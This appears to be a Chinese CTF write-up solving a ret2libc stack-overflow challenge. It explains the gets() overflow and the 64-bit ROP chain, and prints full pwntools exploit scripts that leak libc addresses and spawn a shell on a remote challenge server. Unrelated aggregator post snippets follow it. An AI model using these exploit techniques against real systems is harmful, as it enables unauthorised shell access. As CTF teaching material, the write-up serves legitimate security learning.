PolarCTF-Pwn(困难)WP

news/2025/2/28 15:43:32/文章来源:https://www.cnblogs.com/ljnljn/p/18607366

1、ret2libc
前期准备:
image

int __fastcall main(int argc, const char **argv, const char **envp)
{char s[112]; // [rsp+0h] [rbp-70h] BYREFsetvbuf(stdin, 0LL, 2, 0LL);setvbuf(stdout, 0LL, 2, 0LL);setvbuf(stderr, 0LL, 2, 0LL);gets(s);puts(s);return 0;
}

因为程序是动态链接的,可以利用gets()函数的溢出来泄露puts()函数的实际地址,利用puts()函数的实际地址计算出libc基地址,再计算system()函数和/bin/sh字符串的地址。这样就可以构造system('/bin/sh')了。

  1. 第一次输入构造puts()用来泄露puts()函数的地址,这里返回地址要设置成main()来提供第二次输入;
  2. 根据泄露出的地址来寻找对应的libc库,并计算libc基址、system()函数和/bin/sh字符串的地址;
  3. 构造栈结构,进行栈溢出;
  4. getshell。

没查到binsh,因此典型构造system和binsh

这里需要注意,64位程序和32位程序有比较大的区别,32位程序函数参数是通过栈来传参,只需要构造一个栈结构即可;64位程序函数参数是通过寄存器来传参,因此,需要用到ROPgadget来给寄存器赋值。

64位程序传递参数的寄存器一共有六个,如果函数参数大于六个,后面的参数才会入栈,寄存器传参顺序为:$rdi $rsi $rdx $rcx $r8 $r9

因为本题需要用到的函数为puts()system(),这两个函数都只有一个参数,所以只需要rdi寄存器,即pop rdi ; ret

构造函数的顺序为:溢出偏移 + pop rdi ; ret + 参数 + 函数地址 + 函数返回地址.

注:这里因为程序只有一次输入输出,所以返回地址要填上main函数的地址,当构造的函数执行完后,会返回到main函数,提供第二次输入。

image

(为了防偏移多找了一个ret)

最初exp(有问题)

from pwn import *
from LibcSearcher import *offset=0x70+8
rdi_addr = 0x400753
ret_addr = 0x400509
#io = process('./ret2libc')
io = remote('1.95.36.136', 2089)
elf = ELF('./ret2libc')context(arch='amd64', os='linux', log_level='debug')got_addr = elf.got['puts']
plt_addr = elf.plt['puts']
main_addr = elf.symbols['main']payload = b'a' * offset + p64(rdi_addr) + p64(got_addr) + p64(plt_addr) + p64(main_addr)
io.sendline(payload)puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
print(hex(puts_addr))libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
sys_addr = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')payload = b'a' * offset + p64(ret_addr) + p64(rdi_addr) + p64(bin_sh) + p64(sys_addr)sleep(1)
io.sendline(payload)
io.interactive()

运行的结果

image

感觉打通了又感觉没打通o(╥﹏╥)o

官方的exp

根本运行不了(python2、3都不行)

from pwn import *r = process('./ret2libc')
libc = ELF('./libc.so')
elf = ELF('./ret2libc')padding = 120puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = 0x400666
pop_rdi_ret = 0x0400753payload = 'a' * padding
payload += p64(pop_rdi_ret)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main_addr)r.sendline(payload)r.recvline()
#puts_real = u64(r.recvline()[:-1].ljust(8,'\x00'))官方这里用不了
puts_real = u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
print hex(puts_real)libc_base = puts_real - libc.symbols['puts']
print hex(libc_base)
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + libc.search('/bin/sh').next()payload2 = 'a' * padding
payload2 += p64(pop_rdi_ret)
payload2 += p64(bin_sh_addr)
payload2 += p64(system_addr)
payload2 += p64(0xdeadbeef)#看不懂,解释在下面sleep(1)
r.sendline(payload2)r.interactive()

image

(谢谢Sevedy佬!ღ( ´・ᴗ・` ),大家快去加他blog:https://www.cnblogs.com/Sevedy)

后面佬很强,检查发现是binsh的偏移有问题,导致system打通了但是无法执行命令

关键在于libcsearcher找不到对应的libc库,于是这里要上网站找 https://libc.blukat.me/

image

(官方的libc库也是个错的,不知道他怎么做出来的呃呃呃)

最终exp

from pwn import *#r = process('./ret2libc')
r=remote('1.95.36.136', 2121)
libc = ELF('./libc6_2.23-0ubuntu11.3_amd64.so')
elf = ELF('./ret2libc')padding = 120puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = 0x400666
pop_rdi_ret = 0x0400753payload = b'a' * padding
payload += p64(pop_rdi_ret)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main_addr)
#这里因为程序只有一次输入输出,所以返回地址要填上main函数的地址,当构造的函数执行完后,会返回到main函数,提供第二次输入。
r.sendline(payload)r.recvline()#接受输出
puts_real = u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))#接受实际数据,u64用来解包
print (hex(puts_real))libc_base = puts_real - libc.symbols['puts']
print (hex(libc_base))
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + next(libc.search('/bin/sh'))payload2 = b'a' * padding
payload2 += p64(pop_rdi_ret)
payload2 += p64(bin_sh_addr)
payload2 += p64(system_addr)
payload2 += p64(0xdeadbeef)sleep(1)
r.sendline(payload2)r.interactive()

image

反思

1、libcsearcher找不到的库要上网站多试几个libc库

2、本地写libc还是不熟练,需要总结更多的模版

3、bin_sh_addr = libc_base + next(libc.search('/bin/sh'))这里的next写法已经更新了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/852706.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

游戏产业加速鸿蒙化步伐:超1800款鸿蒙原生游戏已上架

2024年度中国游戏产业年会于12月12日至13日北京市首钢国际会展中心举办,华为终端云全球生态发展与销售部副总裁张思建受邀出席主论坛,并发表了主题演讲。同期,由华为游戏中心主办的鸿蒙游戏行业论坛也在北京石景山区举行,本次活动邀请了中国音像与数字出版协会常务副理事长…

最强分类器调优秘诀!AdaBoost让性能飙升!

本文已收录在Github,关注我,紧跟本系列专栏文章,咱们下篇再续!作者简介:魔都架构师,多家大厂后端一线研发经验,在分布式系统设计、数据平台架构和AI应用开发等领域都有丰富实践经验。 各大技术社区头部专家博主。具有丰富的引领团队经验,深厚业务架构和解决方案的积累。…

Toyota Programming Contest 2024#12(AtCoder Beginner Contest 384)题解

总体情况感觉这次在起飞。 20 分钟后就在罚坐。 A - aaaadaa 题目描述 给定一个长度为 \(N\) 的字符串 \(S\) ,由小写英文字母以及小写英文字母 \(c_1\) 和 \(c_2\) 组成。 查找将 \(S\) 中所有不属于 \(c_1\) 的字符替换为 \(c_2\) 后得到的字符串。 思路分析 直接模拟。代码…

解决2024.1以后新版本IDEA Lombok (@Data)等不生效的问题

做项目做着做着新模块用不了 lombok 真的要崩溃了,各种检查插件、配置,发现都无法恢复;乱试指定版本:终于可用了。。真的有崩溃感

DNS之公共DNS

阿里 AliDNS 阿里公共DNS是阿里巴巴集团推出的DNS递归解析系统,目标是成为国内互联网基础设施的组成部分,面向互联网用户提供“快速”、“稳定”、“智能”的免费DNS递归解析服务。 DNS 服务器 IP 地址: 首选:223.5.5.5 备选:223.6.6.6 阿里公共DNS114DNS 国内用户量巨大的…

NestJS 部署Apache

要将Nest.JS应用搭建在Apache服务器上,你需要了解Nest.JS是一个基于Node.js的框架,因此它本质上是一个后端服务,而Apache通常用作前端服务器或反向代理。以下是将Nest.JS应用与Apache服务器结合使用的步骤: 一、准备环境安装Node.js:确保在服务器上安装了Node.js。你可以从…

综合设计——多源异构数据采集与融合应用综合实践

这个项目属于哪个课程2024数据采集与融合技术实践 组名 从你的全世界爬过团队logo:项目简介 项目名称:博物识植项目logo:项目介绍:在探索自然奥秘的旅途中,我们常与动植物相伴而行,却无法准确识别它们,更难以深入了解他们的特征。为了更好地理解和欣赏自然界的多样性,…

maven docker-maven-plugin 发布docker 20241214

1、docker开启远程访问 端口 2375docker主机:192.168.177.128 vi /usr/lib/systemd/system/docker.service #修改ExecStart这行 ExecStart=/usr/bin/dockerd -H tcp://0.0.0.0:2375 #重新加载配置文件 [root@localhost ~]# systemctl daemon-reload #重启服务 [root@lo…

10大关键技术解构:智能合同审查系统全景解析

前言 随着企业数字化转型的深入,合同管理在业务流程中的重要性愈加凸显。传统的人工审查合同方式不仅耗时耗力,还容易出现疏漏,尤其在复杂法律条款和跨部门协作的场景中,这一问题尤为明显。为了解决这一痛点,思通数科智能合同审查系统应运而生。基于人工智能和大数据分析的…

2024-2025-1 20241403《计算机基础与程序设计》第十二周学习总结

2024-2025-1 20241403《计算机基础与程序设计》第十二周学习总结 作业信息这个作业属于哪个课程 <班级的链接>(如2024-2025-1-计算机基础与程序设计)这个作业要求在哪里 <作业要求的链接>(如2024-2025-1计算机基础与程序设计第一周作业)这个作业的目标 指针与一维…